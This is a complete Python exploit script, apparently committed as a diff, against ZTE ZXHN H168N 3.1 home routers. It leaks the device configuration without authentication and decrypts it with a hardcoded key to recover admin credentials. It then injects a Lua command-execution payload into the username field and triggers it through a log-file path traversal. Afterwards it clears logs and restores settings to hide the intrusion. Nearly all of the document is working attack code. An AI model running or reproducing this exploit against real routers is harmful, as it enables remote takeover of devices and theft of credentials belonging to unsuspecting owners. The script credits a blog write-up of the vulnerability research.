1+ # Exploit Title: ZTE ZXHN H168N 3.1 - RCE via authentication bypass
2+ # Author: l34n / tasos meletlidis
3+ # Exploit Blog: https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/
4+
5+ import http .client , requests , os , argparse , struct , zlib
6+ from io import BytesIO
7+ from os import stat
8+ from Crypto .Cipher import AES
9+
10+ def login (host , port , username , password ):
11+ headers = {
12+ "Content-Type" : "application/x-www-form-urlencoded"
13+ }
14+
15+ data = {
16+ "Username" : username ,
17+ "Password" : password ,
18+ "Frm_Logintoken" : "" ,
19+ "action" : "login"
20+ }
21+
22+ requests .post (f"http://{ host } :{ port } /" , headers = headers , data = data )
23+
24+ def logout (host , port ):
25+ headers = {
26+ "Content-Type" : "application/x-www-form-urlencoded"
27+ }
28+
29+ data = {
30+ "IF_LogOff" : "1" ,
31+ "IF_LanguageSwitch" : "" ,
32+ "IF_ModeSwitch" : ""
33+ }
34+
35+ requests .post (f"http://{ host } :{ port } /" , headers = headers , data = data )
36+
37+ def leak_config (host , port ):
38+ conn = http .client .HTTPConnection (host , port )
39+ boundary = "---------------------------25853724551472601545982946443"
40+ body = (
41+ f"{ boundary } \r \n "
42+ 'Content-Disposition: form-data; name="config"\r \n '
43+ "\r \n "
44+ "\r \n "
45+ f"{ boundary } --\r \n "
46+ )
47+
48+ headers = {
49+ "Content-Type" : f"multipart/form-data; boundary={ boundary } " ,
50+ "Content-Length" : str (len (body )),
51+ "Connection" : "keep-alive" ,
52+ }
53+
54+ conn .request ("POST" , "/getpage.lua?pid=101&nextpage=ManagDiag_UsrCfgMgr_t.lp" , body , headers )
55+
56+ response = conn .getresponse ()
57+ response_data = response .read ()
58+
59+ with open ("config.bin" , "wb" ) as file :
60+ file .write (response_data )
61+
62+ conn .close ()
63+
64+ def _read_exactly (fd , size , desc = "data" ):
65+ chunk = fd .read (size )
66+ if len (chunk ) != size :
67+ return None
68+ return chunk
69+
70+ def _read_struct (fd , fmt , desc = "struct" ):
71+ size = struct .calcsize (fmt )
72+ data = _read_exactly (fd , size , desc )
73+ if data is None :
74+ return None
75+ return struct .unpack (fmt , data )
76+
77+ def read_aes_data (fd_in , key ):
78+ encrypted_data = b""
79+ while True :
80+ aes_hdr = _read_struct (fd_in , ">3I" , desc = "AES chunk header" )
81+ if aes_hdr is None :
82+ return None
83+ _ , chunk_len , marker = aes_hdr
84+
85+ chunk = _read_exactly (fd_in , chunk_len , desc = "AES chunk data" )
86+ if chunk is None :
87+ return None
88+
89+ encrypted_data += chunk
90+ if marker == 0 :
91+ break
92+
93+ cipher = AES .new (key .ljust (16 , b"\0 " )[:16 ], AES .MODE_ECB )
94+ fd_out = BytesIO ()
95+ fd_out .write (cipher .decrypt (encrypted_data ))
96+ fd_out .seek (0 )
97+ return fd_out
98+
99+ def read_compressed_data (fd_in , enc_header ):
100+ hdr_crc = zlib .crc32 (struct .pack (">6I" , * enc_header [:6 ]))
101+ if enc_header [6 ] != hdr_crc :
102+ return None
103+
104+ total_crc = 0
105+ fd_out = BytesIO ()
106+
107+ while True :
108+ comp_hdr = _read_struct (fd_in , ">3I" , desc = "compression chunk header" )
109+ if comp_hdr is None :
110+ return None
111+ uncompr_len , compr_len , marker = comp_hdr
112+
113+ chunk = _read_exactly (fd_in , compr_len , desc = "compression chunk data" )
114+ if chunk is None :
115+ return None
116+
117+ total_crc = zlib .crc32 (chunk , total_crc )
118+ uncompressed = zlib .decompress (chunk )
119+ if len (uncompressed ) != uncompr_len :
120+ return None
121+
122+ fd_out .write (uncompressed )
123+ if marker == 0 :
124+ break
125+
126+ if enc_header [5 ] != total_crc :
127+ return None
128+
129+ fd_out .seek (0 )
130+ return fd_out
131+
132+ def read_config (fd_in , fd_out , key ):
133+ ver_header_1 = _read_struct (fd_in , ">5I" , desc = "1st version header" )
134+ if ver_header_1 is None :
135+ return
136+
137+ ver_header_2_offset = 0x14 + ver_header_1 [4 ]
138+
139+ fd_in .seek (ver_header_2_offset )
140+ ver_header_2 = _read_struct (fd_in , ">11I" , desc = "2nd version header" )
141+ if ver_header_2 is None :
142+ return
143+ ver_header_3_offset = ver_header_2 [10 ]
144+
145+ fd_in .seek (ver_header_3_offset )
146+ ver_header_3 = _read_struct (fd_in , ">2H5I" , desc = "3rd version header" )
147+ if ver_header_3 is None :
148+ return
149+ signed_cfg_size = ver_header_3 [3 ]
150+
151+ file_size = stat (fd_in .name ).st_size
152+
153+ fd_in .seek (0x80 )
154+ sign_header = _read_struct (fd_in , ">3I" , desc = "signature header" )
155+ if sign_header is None :
156+ return
157+ if sign_header [0 ] != 0x04030201 :
158+ return
159+
160+ sign_length = sign_header [2 ]
161+
162+ signature = _read_exactly (fd_in , sign_length , desc = "signature" )
163+ if signature is None :
164+ return
165+
166+ enc_header_raw = _read_exactly (fd_in , 0x3C , desc = "encryption header" )
167+ if enc_header_raw is None :
168+ return
169+ encryption_header = struct .unpack (">15I" , enc_header_raw )
170+ if encryption_header [0 ] != 0x01020304 :
171+ return
172+
173+ enc_type = encryption_header [1 ]
174+
175+ if enc_type in (1 , 2 ):
176+ if not key :
177+ return
178+ fd_in = read_aes_data (fd_in , key )
179+ if fd_in is None :
180+ return
181+
182+ if enc_type == 2 :
183+ enc_header_raw = _read_exactly (fd_in , 0x3C , desc = "second encryption header" )
184+ if enc_header_raw is None :
185+ return
186+ encryption_header = struct .unpack (">15I" , enc_header_raw )
187+ if encryption_header [0 ] != 0x01020304 :
188+ return
189+ enc_type = 0
190+
191+ if enc_type == 0 :
192+ fd_in = read_compressed_data (fd_in , encryption_header )
193+ if fd_in is None :
194+ return
195+
196+ fd_out .write (fd_in .read ())
197+
198+ def decrypt_config (config_key ):
199+ encrypted = open ("config.bin" , "rb" )
200+ decrypted = open ("decrypted.xml" , "wb" )
201+
202+ read_config (encrypted , decrypted , config_key )
203+
204+ with open ("decrypted.xml" , "r" ) as file :
205+ contents = file .read ()
206+ username = contents .split ("IGD.AU2" )[1 ].split ("User" )[1 ].split ("val=\" " )[1 ].split ("\" " )[0 ]
207+ password = contents .split ("IGD.AU2" )[1 ].split ("Pass" )[1 ].split ("val=\" " )[1 ].split ("\" " )[0 ]
208+
209+ encrypted .close ()
210+ os .system ("rm config.bin" )
211+ decrypted .close ()
212+ os .system ("rm decrypted.xml" )
213+
214+ return username , password
215+
216+ def change_log_level (host , port , log_level ):
217+ level_map = {
218+ "critical" : "2" ,
219+ "notice" : "5"
220+ }
221+
222+ headers = {
223+ "Content-Type" : "application/x-www-form-urlencoded"
224+ }
225+
226+ data = {
227+ "IF_ACTION" : "Apply" ,
228+ "_BASICCONIG" : "Y" ,
229+ "LogEnable" : "1" ,
230+ "LogLevel" : level_map [log_level ],
231+ "ServiceEnable" : "0" ,
232+ "Btn_cancel_LogManagerConf" : "" ,
233+ "Btn_apply_LogManagerConf" : "" ,
234+ "downloadlog" : "" ,
235+ "Btn_clear_LogManagerConf" : "" ,
236+ "Btn_save_LogManagerConf" : "" ,
237+ "Btn_refresh_LogManagerConf" : ""
238+ }
239+
240+ requests .get (f"http://{ host } :{ port } /getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0" )
241+ requests .get (f"http://{ host } :{ port } /common_page/ManagDiag_LogManag_lua.lua" )
242+ requests .post (f"http://{ host } :{ port } /common_page/ManagDiag_LogManag_lua.lua" , headers = headers , data = data )
243+
244+ def change_username (host , port , new_username , old_password ):
245+ headers = {
246+ "Content-Type" : "application/x-www-form-urlencoded"
247+ }
248+
249+ data = {
250+ "IF_ACTION" : "Apply" ,
251+ "_InstID" : "IGD.AU2" ,
252+ "Right" : "2" ,
253+ "Username" : new_username ,
254+ "Password" : old_password ,
255+ "NewPassword" : old_password ,
256+ "NewConfirmPassword" : old_password ,
257+ "Btn_cancel_AccountManag" : "" ,
258+ "Btn_apply_AccountManag" : ""
259+ }
260+
261+ requests .get (f"http://{ host } :{ port } /getpage.lua?pid=123&nextpage=ManagDiag_AccountManag_t.lp&Menu3Location=0" )
262+ requests .get (f"http://{ host } :{ port } /common_page/accountManag_lua.lua" )
263+ requests .post (f"http://{ host } :{ port } /common_page/accountManag_lua.lua" , headers = headers , data = data )
264+
265+ def clear_log (host , port ):
266+ headers = {
267+ "Content-Type" : "application/x-www-form-urlencoded"
268+ }
269+
270+ data = {
271+ "IF_ACTION" : "clearlog"
272+ }
273+
274+ requests .get (f"http://{ host } :{ port } /getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0" )
275+ requests .get (f"http://{ host } :{ port } /common_page/ManagDiag_LogManag_lua.lua" )
276+ requests .post (f"http://{ host } :{ port } /common_page/ManagDiag_LogManag_lua.lua" , headers = headers , data = data )
277+
278+ def refresh_log (host , port ):
279+ headers = {
280+ "Content-Type" : "application/x-www-form-urlencoded"
281+ }
282+
283+ data = {
284+ "IF_ACTION" : "Refresh"
285+ }
286+
287+ requests .get (f"http://{ host } :{ port } /getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0" )
288+ requests .get (f"http://{ host } :{ port } /common_page/ManagDiag_LogManag_lua.lua" )
289+ requests .post (f"http://{ host } :{ port } /common_page/ManagDiag_LogManag_lua.lua" , headers = headers , data = data )
290+
291+ def trigger_rce (host , port ):
292+ requests .get (f"http://{ host } :{ port } /getpage.lua?pid=123&nextpage=ManagDiag_StatusManag_t.lp&Menu3Location=0" )
293+ requests .get (f"http://{ host } :{ port } /getpage.lua?pid=123&nextpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar%2fuserlog.txt&Menu3Location=0" )
294+
295+ def rce (cmd ):
296+ return f"<? _G.os.execute('rm /var/userlog.txt;{ cmd } ') ?>"
297+
298+ def pwn (config_key , host , port ):
299+ leak_config (host , port )
300+ username , password = decrypt_config (config_key )
301+
302+ login (host , port , username , password )
303+
304+ shellcode = "echo \" pwned\" "
305+ payload = rce (shellcode )
306+
307+ change_username (host , port , payload , password )
308+ refresh_log (host , port )
309+ change_log_level (host , port , "notice" )
310+ refresh_log (host , port )
311+
312+ trigger_rce (host , port )
313+ clear_log (host , port )
314+
315+ change_username (host , port , username , password )
316+ change_log_level (host , port , "critical" )
317+ logout (host , port )
318+ print ("[+] PoC complete" )
319+
320+ def main ():
321+ parser = argparse .ArgumentParser (description = "Run remote command on ZTE ZXHN H168N V3.1" )
322+ parser .add_argument ("--config_key" , type = lambda x : x .encode (), default = b"GrWM3Hz<vz&f^9" , help = "Leaked config encryption key from cspd" )
323+ parser .add_argument ("--host" , required = True , help = "Target IP address of the router" )
324+ parser .add_argument ("--port" , required = True , type = int , help = "Target port of the router" )
325+
326+ args = parser .parse_args ()
327+
328+ pwn (args .config_key , args .host , args .port )
329+
330+ if __name__ == "__main__" :
331+ main ()
0 commit comments